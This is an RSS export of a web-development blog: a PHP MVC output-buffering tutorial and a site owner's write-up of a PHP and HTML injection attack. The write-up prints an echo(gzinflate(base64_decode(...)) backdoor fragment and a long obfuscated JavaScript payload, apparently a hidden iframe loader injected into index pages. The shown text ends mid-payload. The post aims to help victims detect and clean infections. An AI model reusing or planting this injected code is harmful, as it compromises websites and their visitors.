<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearch/1.1/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0' version='2.0'><channel><atom:id>tag:blogger.com,1999:blog-4714735783718459057</atom:id><lastBuildDate>Fri, 01 Feb 2013 01:24:17 +0000</lastBuildDate><title>Crear paginas WEB</title><description>Tips, tricks and news about web page creation, from the client side or server side: HTML, CSS, Javascript, DHTML, PHP and MySQL.</description><link>http://crear-paginas-web.blogspot.com/</link><managingEditor>noreply@blogger.com (Usher web)</managingEditor><generator>Blogger</generator><openSearch:totalResults>35</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-9132471360011162947</guid><pubDate>Fri, 21 Dec 2012 01:20:00 +0000</pubDate><atom:updated>2012-12-20T18:25:57.297-07:00</atom:updated><title>MVC views with include() in PHP</title><description>&lt;div style="color: #00aa00;"&gt;
If you are doing your first steps with MVC (ModelViewController) in PHP and not using any framework but trying to develop your own code (probably because need to upgrade -like me- an old web application make by yourself with a not MVC logic), then let me show you how i manage the view (V) content from the controller (C) file. &lt;/div&gt;
&lt;br /&gt;
In this brief example i don't entry in the "&lt;b&gt;&lt;span style="color: blue;"&gt;model&lt;/span&gt;&lt;/b&gt;" (M) question (ie, how to manage data from database or what else). The purpose of this article is to know how manage PIECES of HTML (the "&lt;b&gt;&lt;span style="color: blue;"&gt;views&lt;/span&gt;&lt;/b&gt;" of the MVC) probably with dynamic php insertions in them.&lt;br /&gt;
&lt;br /&gt;
The quit of the question is the CONTROL OF THE BUFFER. I don't pretend to offer here a tutorial about the php buffer, but let me remember the main concepts for the beginners:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;the php server, by default return to the client browser whatever you output with an &lt;span style="color: red;"&gt;&lt;i&gt;echo&lt;/i&gt;&lt;/span&gt; command, for example, or whatever you include in your php files outside the  tags.&lt;/li&gt;
&lt;li&gt;optionally, we can indicate to php for store these returned texts in a buffer and not to send to client browser until we need. In fact the system is more sophisticated and php give the developers a collection of functions for &lt;b&gt;start&lt;/b&gt;, &lt;b&gt;retrieve&lt;/b&gt;, &lt;b&gt;clean&lt;/b&gt; or &lt;b&gt;return&lt;/b&gt; this buffer. It sounds fine, it isn't?&lt;/li&gt;
&lt;/ul&gt;
Said this, let me show yet my example code. We only need 2 files:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;view.php&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;lt;h1&amp;gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?=&amp;nbsp;$msg&amp;nbsp;?&amp;gt;&lt;/span&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;index.php&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&amp;lt;?php&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$output1&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;renderView&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'view.php'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'this&amp;nbsp;is&amp;nbsp;HEADER'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$output2&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;renderView&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'view.php'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'this&amp;nbsp;is&amp;nbsp;FOOTER'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$output3&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;renderView&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'view.php'&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'this&amp;nbsp;is&amp;nbsp;MAIN&amp;nbsp;CONTENT'&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$output1&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$output3&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$output2&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;function&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;renderView&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$viewname&lt;/span&gt;&lt;span style="color: #007700"&gt;,&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$msg&lt;/span&gt;&lt;span style="color: #007700"&gt;){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;ob_start&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;include(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$viewname&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$render&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;ob_get_clean&lt;/span&gt;&lt;span style="color: #007700"&gt;(&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;15&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;ob_end_clean&lt;/span&gt;&lt;span style="color: #007700"&gt;();&lt;br /&gt;&lt;b style='color:#888!important;'&gt;16&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$render&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;17&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;b style='color:#888!important;'&gt;18&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;19&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Browser output&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&amp;lt;h1&amp;gt;this&amp;nbsp;is&amp;nbsp;HEADER&amp;lt;/h1&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;lt;h1&amp;gt;this&amp;nbsp;is&amp;nbsp;MAIN&amp;nbsp;CONTENT&amp;lt;/h1&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;lt;h1&amp;gt;this&amp;nbsp;is&amp;nbsp;FOOTER&amp;lt;/h1&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Analysis of this codes&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;My first goal is to build the HTML of my web application in files like the &lt;span style="color: blue;"&gt;&lt;i&gt;view.php&lt;/i&gt;&lt;/span&gt; where the format is truly HTML&amp;amp;CSS and the minimal PHP code, and manage data in the "&lt;span style="color: blue;"&gt;&lt;i&gt;model&lt;/i&gt;&lt;/span&gt;" or the "&lt;i&gt;&lt;span style="color: blue;"&gt;controller&lt;/span&gt;&lt;/i&gt;" (&lt;i&gt;&lt;span style="color: blue;"&gt;index.php&lt;/span&gt;&lt;/i&gt;) files (in this sense, better in the model than in the controller... remember this: &lt;b&gt;fat model thin controller&lt;/b&gt;).&lt;/li&gt;
&lt;li&gt;My second goal is to CONTROL WHEN TO SEND html to client browser (or webservice, or whatever other client), because in a real environment (not like here in this toy example) i would need to manipulate these different HTML pieces that the components of my application will generate (menus, widgets, etc.) before to join in a unique HTML raw stream for send to browser.&lt;/li&gt;
&lt;li&gt;for this reason, the &lt;span style="color: blue;"&gt;&lt;i&gt;view.php&lt;/i&gt;&lt;/span&gt; file is almost a piece of HTML&amp;amp;CSS code where i can INSERT pieces of php which will replace this kind of "placeholders" just like it was a template.&lt;br /&gt;&lt;br /&gt;It's important to note here that the variables which will be accessible from &lt;span style="color: blue;"&gt;&lt;i&gt;view.php&lt;/i&gt;&lt;/span&gt; are uniquely the variables accessible within the function (or method) where we use the &lt;span style="color: red;"&gt;&lt;i&gt;include()&lt;/i&gt;&lt;/span&gt; command.&lt;/li&gt;
&lt;li&gt;Obviously, the most interesting part of this example is the function &lt;span style="color: blue;"&gt;&lt;i&gt;renderView($viewname,$msg)&lt;/i&gt;&lt;/span&gt;: &lt;br /&gt;&lt;br /&gt;&lt;ul&gt;
&lt;li&gt;When we call &lt;span style="color: red;"&gt;&lt;i&gt;ob_start()&lt;/i&gt;&lt;/span&gt; the Output Buffer begin to store all what we return as &lt;span style="color: red;"&gt;&lt;i&gt;echo&lt;/i&gt;&lt;/span&gt; or what we include outside php tags (like the content of the &lt;span style="color: blue;"&gt;&lt;i&gt;view.php&lt;/i&gt;&lt;/span&gt; file).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;With &lt;span style="color: red;"&gt;&lt;i&gt;ob_get_clean()&lt;/i&gt;&lt;/span&gt; we retrieve the content stored at this moment, and also empty the buffer.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;And finally, with &lt;i&gt;&lt;span style="color: red;"&gt;ob_end_clean()&lt;/span&gt;&lt;/i&gt; we finish the buffering, although we can use it again afterward with &lt;i&gt;&lt;span style="color: red;"&gt;ob_start()&lt;/span&gt;&lt;/i&gt;, as many times as we need.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Conclusion&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
As you see, is very simple then to build a mini MVC logic for your web applications. Think that this control of the buffer let us for example store the output in some kind of cache (in a folder of our application) before to send to browser, for example. Or we could store some "little dynamic" pieces of HTML in this cache, or we could REUSE the same generated HTML (some widget?) in different places of the same HTML page without to generate twice. Etcetera...&lt;br /&gt;
&lt;br /&gt;
I hope this mini-guide has given to you some good ideas. Please, add comments and suggestions&amp;nbsp; if you have.</description><link>http://crear-paginas-web.blogspot.com/2012/12/mvc-views-with-include-in-php.html</link><author>noreply@blogger.com (Usher web)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-4714735783718459057.post-2300668314235249487</guid><pubDate>Mon, 02 Apr 2012 23:47:00 +0000</pubDate><atom:updated>2012-08-16T19:09:57.717-07:00</atom:updated><title>New PHP injection attack and also HTML injection</title><description>&lt;p style="color:#0a0;"&gt;Just 2 years ago wrote an &lt;a href='http://crear-paginas-web.blogspot.com/2010/04/archivos-php-hackeados-con.html'&gt;article&lt;/a&gt; about an attack to one of my websites which injected PHP code in the top of EACH php file. And i shared with you my cleaning process and some little scripts for this task.&lt;/p&gt;

&lt;p style="color:#0a0;"&gt;Now, just yesterday i suffered a new attack a little different, but it inserted also injections on some of my files PHP and HTML. I'me happy for share here with you my case and my solution for help you perhaps.&lt;/p&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;h2&gt;== My script for help you&lt;/h2&gt;
&lt;p&gt;Yes, just like 2 years ago i would like to share with you an script for help in the detection &amp; cleaning. Don't be wrong, hehehe... it's a simple "search" script. But you will see that it will help you a lot.&lt;/p&gt;
&lt;p&gt;Perhaps, with a bit of luck, some of you will make an improvement in the script and upload it, and i promise to update it here for download. Really, i use this script frequently for my developing work, so i'm improving it constantly. Include, i thinked about to create an opensoruce project around it... but well.. finally i never get the necesary time :(&lt;/p&gt;
&lt;p&gt;Here you can download &lt;a href='http://imasdeweb.com/opensource/search_and_replace/SRR_search.zip'&gt;SRR_search.zip&lt;/a&gt; (SRR, from Sergi Rodrigues Rius :P)&lt;/p&gt;
&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;b&gt;Edited 2012-08-16: &lt;/b&gt;finally i start to use GitHub for share with others my scripts, and i began sharing my &lt;a href='https://github.com/caos30/php_srrFileManager' target='_blank'&gt;php_srrFileManager&lt;/a&gt; where i included the &lt;b&gt;SRR_search.php&lt;/b&gt; functions. The difference is that now, with the &lt;b&gt;php_srrFileManager&lt;/b&gt; we have a "nice" interface for browse files, delete, move, create, rename and SEARCH, in a way more friendly. This opensource project is encapsuled in a unique PHP file, so it continue being very easy to use ;)&lt;/p&gt;
&lt;p&gt;Note: i didn't modified the original article (below) for use this new php_srrFileManager, but i think that it not will be very much difficult to imagine it. But if you have doubts, please add a comment and i will answer as soon as possible. &lt;/p&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;h2&gt;== Symptoms and detection of injection&lt;/h2&gt;
&lt;p&gt;I had the luck of be alerted today by email from my hosting provider. From here, many many many thanks Christine by your effort and help!!! They are &lt;a href="http://vervehosting.com/" target="_balnk"&gt;VerveHosting&lt;/a&gt;, and guys... really they are very good, specially in the support to their customers. Excellent and very recommendable service! Eg. in this case i'm alive still thanks to them! ;)&lt;/p&gt;
&lt;p&gt;Apart of this, i unknow how to detect automatically this kind of intrusions. The VerveHosting team simply were alerted by monitoring the FTP log!! where you can see something like this:&lt;/p&gt;
&lt;div style="color:#666;background-color:#eee;padding:7px;"&gt;
 15:57:46 servera585 lfd: &lt;b&gt;*Suspicious Process*&lt;/b&gt; PID:10658 
User:myuser Uptime:116 secs 
EXE:/usr/sbin/pure-ftpd\00]\00frm\00cgi515.sem (deleted) CMD:pure-ftpd 
(UPLOAD)
&lt;/div&gt;
&lt;p&gt;After detect this entry at FTP log we look for the geolocalization of the IP of this connection and effectively was in another continent (Europe) than me (America). So it proof definetively that was an intruder... apart from the fact that the files downloaded and uploaded at my server i didn't touch never since the first day that i put on server.&lt;/p&gt;
&lt;p&gt;Perhaps is interesting also note some things of this attack:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the attacker upload some file, and after delete it!! probably he/she upload it, then try to execute it calling it from outside the server (probably using curl), and after delete it FOR NOT LEAVE SIGNALS of the intrusion!! I say this because if we look at an inffected site we won't find any new file.&lt;/li&gt;
&lt;li&gt;i don't know if before of after the FTP connection, but they injected a PHP code encrypted and decrypted with &lt;br /&gt;&lt;br /&gt;&lt;span style="background-color:#eee;color:#00c;"&gt; echo(gzinflate(base64_decode("tVVN... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt; just at the end of the files which file name end with &lt;b&gt;index.php&lt;/b&gt;, so for example they inffected my files like &lt;b&gt;admin_index.php&lt;/b&gt;. So, briefly, for know if you hav been inffected could open this files and see if are inffected at the bottom of the file, just before the &lt;b&gt;?&amp;gt;&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;also i don't know when they inffected my &lt;b&gt;index.htm&lt;/b&gt; files -i supose that in the same moment the inffected the PHP of the previous point. In this case, the injection is of Javascript code JUST after the &lt;b&gt;body&lt;/b&gt; tag:&lt;/li&gt;
&lt;/ul&gt;
&lt;div style='background-color:#eee;border:1px #aaa solid;padding:9px;margin:9px;'&gt;&lt;code&gt;&lt;b style='color:#888!important;'&gt;1&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;span style="color: #000000"&gt;&lt;span style="color: #0000BB"&gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;2&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;body&lt;/span&gt;&lt;span style="color: #007700"&gt;&amp;gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: #0000BB"&gt;d93065&lt;/span&gt;&lt;span style="color: #007700"&gt;--&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;3&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;lt;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;script&lt;/span&gt;&lt;span style="color: #007700"&gt;&amp;gt;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;4&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;c&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;i&lt;/span&gt;&lt;span style="color: #007700"&gt;=&lt;/span&gt;&lt;span style="color: #0000BB"&gt;c&lt;/span&gt;&lt;span style="color: #007700"&gt;-&lt;/span&gt;&lt;span style="color: #0000BB"&gt;2&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;b style='color:#888!important;'&gt;5&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;parseInt&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"0123"&lt;/span&gt;&lt;span style="color: #007700"&gt;)===&lt;/span&gt;&lt;span style="color: #0000BB"&gt;83&lt;/span&gt;&lt;span style="color: #007700"&gt;)&lt;br /&gt;&lt;b style='color:#888!important;'&gt;6&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;window&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;document&lt;/span&gt;&lt;span style="color: #007700"&gt;)try{&lt;br /&gt;&lt;b style='color:#888!important;'&gt;7&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;new&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;String&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"asd"&lt;/span&gt;&lt;span style="color: #007700"&gt;).&lt;/span&gt;&lt;span style="color: #0000BB"&gt;prototype&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #0000BB"&gt;q&lt;br /&gt;&lt;b style='color:#888!important;'&gt;8&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700"&gt;}catch(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;egewgsd&lt;/span&gt;&lt;span style="color: #007700"&gt;){&lt;br /&gt;&lt;b style='color:#888!important;'&gt;9&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;f&lt;/span&gt;&lt;span style="color: #007700"&gt;=[&lt;/span&gt;&lt;span style="color: #DD0000"&gt;'&lt;br /&gt;&lt;b style='color:#888!important;'&gt;10&lt;/b&gt;&amp;nbsp;&amp;nbsp;-30i-30i66i63i-7i1i61i72i60i78i70i62i71i77i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;11&lt;/b&gt;&amp;nbsp;&amp;nbsp;7i64i62i77i30i69i62i70i62i71i77i76i27i82i45i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;12&lt;/b&gt;&amp;nbsp;&amp;nbsp;58i64i39i58i70i62i1i0i59i72i61i82i0i2i52i9i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;13&lt;/b&gt;&amp;nbsp;&amp;nbsp;54i2i84i-26i-30i-30i-30i66i63i75i58i70i62i75&lt;br /&gt;&lt;b style='color:#888!important;'&gt;14&lt;/b&gt;&amp;nbsp;&amp;nbsp;i1i2i20i-26i-30i-30i86i-7i62i69i76i62i-7i84i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;15&lt;/b&gt;&amp;nbsp;&amp;nbsp;-26i-30i-30i-30i61i72i60i78i70i62i71i77i7i80&lt;br /&gt;&lt;b style='color:#888!important;'&gt;16&lt;/b&gt;&amp;nbsp;&amp;nbsp;i75i66i77i62i1i-5i21i66i63i75i58i70i62i-7i76&lt;br /&gt;&lt;b style='color:#888!important;'&gt;17&lt;/b&gt;&amp;nbsp;&amp;nbsp;i75i60i22i0i65i77i77i73i19i8i8i78i71i80i72i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;18&lt;/b&gt;&amp;nbsp;&amp;nbsp;80i73i78i7i62i78i8i60i72i78i71i77i12i7i73i65&lt;br /&gt;&lt;b style='color:#888!important;'&gt;19&lt;/b&gt;&amp;nbsp;&amp;nbsp;i73i0i-7i80i66i61i77i65i22i0i10i9i0i-7i65i62&lt;br /&gt;&lt;b style='color:#888!important;'&gt;20&lt;/b&gt;&amp;nbsp;&amp;nbsp;i66i64i65i77i22i0i10i9i0i-7i76i77i82i69i62i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;21&lt;/b&gt;&amp;nbsp;&amp;nbsp;22i0i79i66i76i66i59i66i69i66i77i82i19i65i66i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;22&lt;/b&gt;&amp;nbsp;&amp;nbsp;61i61i62i71i20i73i72i76i66i77i66i72i71i19i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;23&lt;/b&gt;&amp;nbsp;&amp;nbsp;58i59i76i72i69i78i77i62i20i69i62i63i77i19i9i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;24&lt;/b&gt;&amp;nbsp;&amp;nbsp;20i77i72i73i19i9i20i0i23i21i8i66i63i75i58i70&lt;br /&gt;&lt;b style='color:#888!important;'&gt;25&lt;/b&gt;&amp;nbsp;&amp;nbsp;i62i23i-5i2i20i-26i-30i-30i86i-26i-30i-30i63&lt;br /&gt;&lt;b style='color:#888!important;'&gt;26&lt;/b&gt;&amp;nbsp;&amp;nbsp;i78i71i60i77i66i72i71i-7i66i63i75i58i70i62i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;27&lt;/b&gt;&amp;nbsp;&amp;nbsp;75i1i2i84i-26i-30i-30i-30i79i58i75i-7i63i-7i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;28&lt;/b&gt;&amp;nbsp;&amp;nbsp;22i-7i61i72i60i78i70i62i71i77i7i60i75i62i58i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;29&lt;/b&gt;&amp;nbsp;&amp;nbsp;77i62i30i69i62i70i62i71i77i1i0i66i63i75i58i7&lt;br /&gt;&lt;b style='color:#888!important;'&gt;30&lt;/b&gt;&amp;nbsp;&amp;nbsp;0i62i0i2i20i63i7i76i62i77i26i77i77i75i66i59i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;31&lt;/b&gt;&amp;nbsp;&amp;nbsp;78i77i62i1i0i76i75i60i0i5i0i65i77i77i73i19i8&lt;br /&gt;&lt;b style='color:#888!important;'&gt;32&lt;/b&gt;&amp;nbsp;&amp;nbsp;i8i78i71i80i72i80i73i78i7i62i78i8i60i72i78i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;33&lt;/b&gt;&amp;nbsp;&amp;nbsp;71i77i12i7i73i65i73i0i2i20i63i7i76i77i82i69i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;34&lt;/b&gt;&amp;nbsp;&amp;nbsp;62i7i79i66i76i66i59i66i69i66i77i82i22i0i65i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;35&lt;/b&gt;&amp;nbsp;&amp;nbsp;66i61i61i62i71i0i20i63i7i76i77i82i69i62i7i73&lt;br /&gt;&lt;b style='color:#888!important;'&gt;36&lt;/b&gt;&amp;nbsp;&amp;nbsp;i72i76i66i77i66i72i71i22i0i58i59i76i72i69i78&lt;br /&gt;&lt;b style='color:#888!important;'&gt;37&lt;/b&gt;&amp;nbsp;&amp;nbsp;i77i62i0i20i63i7i76i77i82i69i62i7i69i62i63i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;38&lt;/b&gt;&amp;nbsp;&amp;nbsp;77i22i0i9i0i20i63i7i76i77i82i69i62i7i77i72i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;39&lt;/b&gt;&amp;nbsp;&amp;nbsp;73i22i0i9i0i20i63i7i76i62i77i26i77i77i75i66i&lt;br /&gt;&lt;b style='color:#888!important;'&gt;40&lt;/b&gt;&amp;nbsp;&amp;nbsp;59i78i77i62i1i0i80i66i61i77i65i0i5i0i10i9i0i&lt;br /&gt;&lt;b 